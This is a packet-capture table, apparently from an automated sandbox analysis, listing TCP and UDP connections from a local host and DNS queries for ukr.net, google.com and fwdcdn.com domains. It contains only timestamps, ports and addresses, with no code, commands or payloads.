Oct 26, 2024 13:49:52.919116020 CEST	50050	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:52.919126987 CEST	443	50050	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:53.032547951 CEST	443	50046	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:53.032582998 CEST	443	50046	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:53.032603025 CEST	443	50046	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:53.032634020 CEST	50046	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:53.032660007 CEST	443	50046	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:53.032676935 CEST	50046	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:53.032701015 CEST	50046	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:53.038552046 CEST	443	50046	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:53.038613081 CEST	50046	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:53.038619041 CEST	443	50046	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:53.038645029 CEST	443	50046	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:53.038688898 CEST	50046	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:53.042886972 CEST	50046	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:53.042901993 CEST	443	50046	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:53.042924881 CEST	50046	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:53.042931080 CEST	443	50046	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:53.048041105 CEST	50051	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:53.048074961 CEST	443	50051	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:53.048192024 CEST	50051	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:53.048901081 CEST	50051	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:53.048911095 CEST	443	50051	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:53.328941107 CEST	443	50047	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:53.333201885 CEST	50047	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:53.333219051 CEST	443	50047	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:53.333939075 CEST	50047	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:53.333942890 CEST	443	50047	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:53.459096909 CEST	443	50047	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:53.459121943 CEST	443	50047	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:53.459176064 CEST	443	50047	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:53.459243059 CEST	50047	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:53.459264994 CEST	50047	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:53.483741045 CEST	50047	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:53.483753920 CEST	443	50047	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:53.483782053 CEST	50047	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:53.483787060 CEST	443	50047	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:53.579289913 CEST	50052	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:53.579361916 CEST	443	50052	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:53.579448938 CEST	50052	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:53.579940081 CEST	50052	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:53.579971075 CEST	443	50052	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:53.620189905 CEST	443	50048	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:53.620713949 CEST	50048	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:53.620780945 CEST	443	50048	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:53.621237040 CEST	50048	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:53.621253014 CEST	443	50048	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:53.660516024 CEST	443	50050	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:53.661109924 CEST	50050	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:53.661149979 CEST	443	50050	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:53.661242962 CEST	443	50049	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:53.661576986 CEST	50049	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:53.661604881 CEST	443	50049	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:53.661818981 CEST	50050	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:53.661829948 CEST	443	50050	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:53.662071943 CEST	50049	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:53.662077904 CEST	443	50049	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:53.789899111 CEST	443	50051	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:53.790394068 CEST	50051	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:53.790410995 CEST	443	50051	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:53.790918112 CEST	50051	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:53.790925026 CEST	443	50051	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:53.791712046 CEST	443	50050	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:53.791768074 CEST	443	50050	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:53.791843891 CEST	50050	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:53.791888952 CEST	443	50050	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:53.791945934 CEST	50050	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:53.791959047 CEST	443	50050	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:53.792010069 CEST	50050	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:53.792056084 CEST	50050	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:53.792056084 CEST	50050	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:53.792084932 CEST	443	50050	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:53.792107105 CEST	443	50050	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:53.792953014 CEST	443	50049	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:53.793003082 CEST	443	50049	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:53.793077946 CEST	50049	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:53.793090105 CEST	443	50049	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:53.793267965 CEST	443	50049	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:53.793529987 CEST	50049	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:53.793529987 CEST	50049	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:53.793613911 CEST	50049	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:53.793626070 CEST	443	50049	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:53.794676065 CEST	50053	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:53.794699907 CEST	443	50053	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:53.794897079 CEST	50053	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:53.795010090 CEST	50053	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:53.795018911 CEST	443	50053	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:53.795784950 CEST	50054	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:53.795838118 CEST	443	50054	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:53.795911074 CEST	50054	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:53.796044111 CEST	50054	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:53.796076059 CEST	443	50054	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:53.861903906 CEST	443	50048	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:53.861983061 CEST	443	50048	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:53.862029076 CEST	443	50048	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:53.862165928 CEST	50048	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:53.862166882 CEST	50048	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:53.862238884 CEST	443	50048	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:53.862315893 CEST	50048	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:53.919845104 CEST	443	50051	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:53.920031071 CEST	443	50051	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:53.920150042 CEST	50051	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:53.920211077 CEST	50051	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:53.920228958 CEST	443	50051	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:53.920245886 CEST	50051	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:53.920250893 CEST	443	50051	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:53.923456907 CEST	50055	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:53.923485994 CEST	443	50055	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:53.923625946 CEST	50055	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:53.923700094 CEST	50055	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:53.923703909 CEST	443	50055	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:53.978847027 CEST	443	50048	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:53.978929043 CEST	50048	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:53.978970051 CEST	443	50048	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:53.979017973 CEST	443	50048	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:53.979068995 CEST	50048	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:53.979068995 CEST	50048	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:53.979130030 CEST	50048	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:53.979130030 CEST	50048	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:53.979165077 CEST	443	50048	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:53.979191065 CEST	443	50048	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:53.989120007 CEST	50056	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:53.989149094 CEST	443	50056	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:53.989281893 CEST	50056	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:53.989645004 CEST	50056	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:53.989660025 CEST	443	50056	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:54.325860977 CEST	443	50052	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:54.326359034 CEST	50052	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:54.326392889 CEST	443	50052	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:54.326905966 CEST	50052	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:54.326911926 CEST	443	50052	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:54.461057901 CEST	443	50052	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:54.461114883 CEST	443	50052	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:54.461304903 CEST	50052	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:54.461357117 CEST	50052	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:54.461374044 CEST	443	50052	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:54.461385012 CEST	50052	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:54.461390018 CEST	443	50052	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:54.464050055 CEST	50057	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:54.464107037 CEST	443	50057	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:54.464194059 CEST	50057	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:54.464390039 CEST	50057	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:54.464413881 CEST	443	50057	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:54.516735077 CEST	49711	443	192.168.2.5	212.42.78.17
Oct 26, 2024 13:49:54.516870022 CEST	443	49711	212.42.78.17	192.168.2.5
Oct 26, 2024 13:49:54.517030954 CEST	49711	443	192.168.2.5	212.42.78.17
Oct 26, 2024 13:49:54.539236069 CEST	443	50053	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:54.539941072 CEST	50053	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:54.539953947 CEST	443	50053	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:54.540291071 CEST	50053	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:54.540297031 CEST	443	50053	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:54.546042919 CEST	443	50054	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:54.546519041 CEST	50054	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:54.546545982 CEST	443	50054	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:54.546957016 CEST	50054	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:54.546968937 CEST	443	50054	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:54.667853117 CEST	443	50055	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:54.668473959 CEST	50055	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:54.668484926 CEST	443	50055	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:54.668879032 CEST	50055	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:54.668884993 CEST	443	50055	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:54.669677973 CEST	443	50053	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:54.670186996 CEST	443	50053	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:54.670329094 CEST	50053	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:54.670348883 CEST	50053	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:54.670362949 CEST	443	50053	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:54.670371056 CEST	50053	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:54.670376062 CEST	443	50053	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:54.673571110 CEST	50058	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:54.673610926 CEST	443	50058	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:54.673691034 CEST	50058	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:54.673865080 CEST	50058	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:54.673873901 CEST	443	50058	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:54.677566051 CEST	443	50054	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:54.677644014 CEST	443	50054	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:54.677978039 CEST	50054	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:54.678049088 CEST	50054	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:54.678065062 CEST	443	50054	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:54.678085089 CEST	50054	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:54.678091049 CEST	443	50054	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:54.680397034 CEST	50059	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:54.680447102 CEST	443	50059	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:54.680521011 CEST	50059	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:54.680628061 CEST	50059	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:54.680638075 CEST	443	50059	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:54.723696947 CEST	443	50056	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:54.724199057 CEST	50056	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:54.724239111 CEST	443	50056	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:54.724847078 CEST	50056	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:54.724859953 CEST	443	50056	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:54.797593117 CEST	443	50055	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:54.798387051 CEST	443	50055	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:54.798501015 CEST	443	50055	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:54.798507929 CEST	50055	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:54.798582077 CEST	50055	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:54.798614979 CEST	50055	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:54.798614979 CEST	50055	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:54.798628092 CEST	443	50055	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:54.798635960 CEST	443	50055	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:54.857552052 CEST	443	50056	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:54.857621908 CEST	443	50056	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:54.857808113 CEST	50056	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:54.857832909 CEST	50056	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:54.857844114 CEST	443	50056	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:54.857856989 CEST	50056	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:54.857861042 CEST	443	50056	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:55.198223114 CEST	443	50057	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:55.198736906 CEST	50057	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:55.198767900 CEST	443	50057	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:55.199192047 CEST	50057	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:55.199197054 CEST	443	50057	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:55.330689907 CEST	443	50057	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:55.330816984 CEST	443	50057	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:55.330941916 CEST	50057	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:55.331065893 CEST	50057	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:55.331087112 CEST	443	50057	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:55.331099033 CEST	50057	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:55.331104994 CEST	443	50057	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:55.421006918 CEST	443	50059	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:55.422187090 CEST	50059	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:55.422210932 CEST	443	50059	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:55.422940969 CEST	50059	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:55.422946930 CEST	443	50059	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:55.424628973 CEST	443	50058	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:55.424973011 CEST	50058	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:55.424994946 CEST	443	50058	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:55.425503016 CEST	50058	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:55.425508022 CEST	443	50058	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:55.550800085 CEST	443	50059	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:55.551448107 CEST	443	50059	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:55.551513910 CEST	50059	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:55.551565886 CEST	50059	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:55.551584959 CEST	443	50059	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:55.551594973 CEST	50059	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:55.551599979 CEST	443	50059	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:55.562062025 CEST	443	50058	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:55.562221050 CEST	443	50058	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:55.562285900 CEST	50058	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:55.562441111 CEST	50058	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:55.562458992 CEST	443	50058	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:55.562469959 CEST	50058	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:55.562475920 CEST	443	50058	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:56.079757929 CEST	50060	443	192.168.2.5	172.217.16.132
Oct 26, 2024 13:49:56.079797983 CEST	443	50060	172.217.16.132	192.168.2.5
Oct 26, 2024 13:49:56.079941988 CEST	50060	443	192.168.2.5	172.217.16.132
Oct 26, 2024 13:49:56.080245018 CEST	50060	443	192.168.2.5	172.217.16.132
Oct 26, 2024 13:49:56.080256939 CEST	443	50060	172.217.16.132	192.168.2.5
Oct 26, 2024 13:49:56.959203005 CEST	443	50060	172.217.16.132	192.168.2.5
Oct 26, 2024 13:49:56.959515095 CEST	50060	443	192.168.2.5	172.217.16.132
Oct 26, 2024 13:49:56.959525108 CEST	443	50060	172.217.16.132	192.168.2.5
Oct 26, 2024 13:49:56.959974051 CEST	443	50060	172.217.16.132	192.168.2.5
Oct 26, 2024 13:49:56.960299969 CEST	50060	443	192.168.2.5	172.217.16.132
Oct 26, 2024 13:49:56.960378885 CEST	443	50060	172.217.16.132	192.168.2.5
Oct 26, 2024 13:49:57.014946938 CEST	50060	443	192.168.2.5	172.217.16.132
Oct 26, 2024 13:50:07.001528978 CEST	443	50060	172.217.16.132	192.168.2.5
Oct 26, 2024 13:50:07.001625061 CEST	443	50060	172.217.16.132	192.168.2.5
Oct 26, 2024 13:50:07.001682043 CEST	50060	443	192.168.2.5	172.217.16.132
Oct 26, 2024 13:50:08.518459082 CEST	50060	443	192.168.2.5	172.217.16.132
Oct 26, 2024 13:50:08.518503904 CEST	443	50060	172.217.16.132	192.168.2.5
Oct 26, 2024 13:50:56.273969889 CEST	50062	443	192.168.2.5	172.217.16.132
Oct 26, 2024 13:50:56.274013996 CEST	443	50062	172.217.16.132	192.168.2.5
Oct 26, 2024 13:50:56.274125099 CEST	50062	443	192.168.2.5	172.217.16.132
Oct 26, 2024 13:50:56.274432898 CEST	50062	443	192.168.2.5	172.217.16.132
Oct 26, 2024 13:50:56.274450064 CEST	443	50062	172.217.16.132	192.168.2.5
Oct 26, 2024 13:50:57.123898983 CEST	443	50062	172.217.16.132	192.168.2.5
Oct 26, 2024 13:50:57.124332905 CEST	50062	443	192.168.2.5	172.217.16.132
Oct 26, 2024 13:50:57.124345064 CEST	443	50062	172.217.16.132	192.168.2.5
Oct 26, 2024 13:50:57.124792099 CEST	443	50062	172.217.16.132	192.168.2.5
Oct 26, 2024 13:50:57.125138998 CEST	50062	443	192.168.2.5	172.217.16.132
Oct 26, 2024 13:50:57.125225067 CEST	443	50062	172.217.16.132	192.168.2.5
Oct 26, 2024 13:50:57.171920061 CEST	50062	443	192.168.2.5	172.217.16.132
Oct 26, 2024 13:51:07.116072893 CEST	443	50062	172.217.16.132	192.168.2.5
Oct 26, 2024 13:51:07.116178036 CEST	443	50062	172.217.16.132	192.168.2.5
Oct 26, 2024 13:51:07.116298914 CEST	50062	443	192.168.2.5	172.217.16.132
Oct 26, 2024 13:51:08.518218040 CEST	50062	443	192.168.2.5	172.217.16.132
Oct 26, 2024 13:51:08.518238068 CEST	443	50062	172.217.16.132	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 26, 2024 13:48:51.229649067 CEST	53	52532	1.1.1.1	192.168.2.5
Oct 26, 2024 13:48:51.246313095 CEST	53	60690	1.1.1.1	192.168.2.5
Oct 26, 2024 13:48:51.446787119 CEST	64653	53	192.168.2.5	1.1.1.1
Oct 26, 2024 13:48:51.446921110 CEST	50111	53	192.168.2.5	1.1.1.1
Oct 26, 2024 13:48:51.455391884 CEST	53	50111	1.1.1.1	192.168.2.5
Oct 26, 2024 13:48:51.456568956 CEST	53	64653	1.1.1.1	192.168.2.5
Oct 26, 2024 13:48:53.025640965 CEST	60300	53	192.168.2.5	1.1.1.1
Oct 26, 2024 13:48:53.026221037 CEST	52828	53	192.168.2.5	1.1.1.1
Oct 26, 2024 13:48:53.033663034 CEST	53	60300	1.1.1.1	192.168.2.5
Oct 26, 2024 13:48:53.034166098 CEST	53	52828	1.1.1.1	192.168.2.5
Oct 26, 2024 13:48:53.044553041 CEST	53	53027	1.1.1.1	192.168.2.5
Oct 26, 2024 13:48:55.399880886 CEST	53	61157	1.1.1.1	192.168.2.5
Oct 26, 2024 13:48:56.027404070 CEST	62192	53	192.168.2.5	1.1.1.1
Oct 26, 2024 13:48:56.027585030 CEST	64353	53	192.168.2.5	1.1.1.1
Oct 26, 2024 13:48:56.035345078 CEST	53	64353	1.1.1.1	192.168.2.5
Oct 26, 2024 13:48:56.035538912 CEST	53	62192	1.1.1.1	192.168.2.5
Oct 26, 2024 13:49:00.234934092 CEST	64557	53	192.168.2.5	1.1.1.1
Oct 26, 2024 13:49:00.235198975 CEST	58732	53	192.168.2.5	1.1.1.1
Oct 26, 2024 13:49:00.242959023 CEST	53	64557	1.1.1.1	192.168.2.5
Oct 26, 2024 13:49:00.246423006 CEST	53	58732	1.1.1.1	192.168.2.5
Oct 26, 2024 13:49:03.321386099 CEST	53	51139	1.1.1.1	192.168.2.5
Oct 26, 2024 13:49:04.388277054 CEST	53666	53	192.168.2.5	1.1.1.1
Oct 26, 2024 13:49:04.388497114 CEST	59305	53	192.168.2.5	1.1.1.1
Oct 26, 2024 13:49:04.396209002 CEST	53	59305	1.1.1.1	192.168.2.5
Oct 26, 2024 13:49:04.397619009 CEST	53	53666	1.1.1.1	192.168.2.5
Oct 26, 2024 13:49:10.476356983 CEST	53	63667	1.1.1.1	192.168.2.5
Oct 26, 2024 13:49:29.735452890 CEST	53	57170	1.1.1.1	192.168.2.5
Oct 26, 2024 13:49:51.126126051 CEST	53	56986	1.1.1.1	192.168.2.5
Oct 26, 2024 13:49:52.675012112 CEST	53	54712	1.1.1.1	192.168.2.5
Oct 26, 2024 13:50:11.410357952 CEST	64653	53	192.168.2.5	1.1.1.1
Oct 26, 2024 13:50:11.430803061 CEST	53	64653	1.1.1.1	192.168.2.5
Oct 26, 2024 13:50:19.951220036 CEST	53	64078	1.1.1.1	192.168.2.5
Oct 26, 2024 13:50:35.032289982 CEST	58143	53	192.168.2.5	1.1.1.1
Oct 26, 2024 13:50:35.052542925 CEST	53	58143	1.1.1.1	192.168.2.5
Oct 26, 2024 13:51:06.793335915 CEST	53	63027	1.1.1.1	192.168.2.5
Oct 26, 2024 13:51:21.846415043 CEST	61698	53	192.168.2.5	1.1.1.1
Oct 26, 2024 13:51:21.868343115 CEST	53	61698	1.1.1.1	192.168.2.5
Oct 26, 2024 13:51:46.970045090 CEST	59649	53	192.168.2.5	1.1.1.1
Oct 26, 2024 13:51:46.986612082 CEST	53	59649	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 26, 2024 13:48:51.446787119 CEST	192.168.2.5	1.1.1.1	0x6481	Standard query (0)	edisk.ukr.net	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:48:51.446921110 CEST	192.168.2.5	1.1.1.1	0x3611	Standard query (0)	edisk.ukr.net	65	IN (0x0001)	false
Oct 26, 2024 13:48:53.025640965 CEST	192.168.2.5	1.1.1.1	0xce0e	Standard query (0)	accounts.ukr.net	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:48:53.026221037 CEST	192.168.2.5	1.1.1.1	0x7e3b	Standard query (0)	accounts.ukr.net	65	IN (0x0001)	false
Oct 26, 2024 13:48:56.027404070 CEST	192.168.2.5	1.1.1.1	0x6cb3	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:48:56.027585030 CEST	192.168.2.5	1.1.1.1	0xc3d5	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 26, 2024 13:49:00.234934092 CEST	192.168.2.5	1.1.1.1	0x4bf6	Standard query (0)	accounts.ukr.net	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:49:00.235198975 CEST	192.168.2.5	1.1.1.1	0xb4b4	Standard query (0)	accounts.ukr.net	65	IN (0x0001)	false
Oct 26, 2024 13:49:04.388277054 CEST	192.168.2.5	1.1.1.1	0x64d5	Standard query (0)	poll0.fwdcdn.com	A (IP address)	IN (0x0001)	false
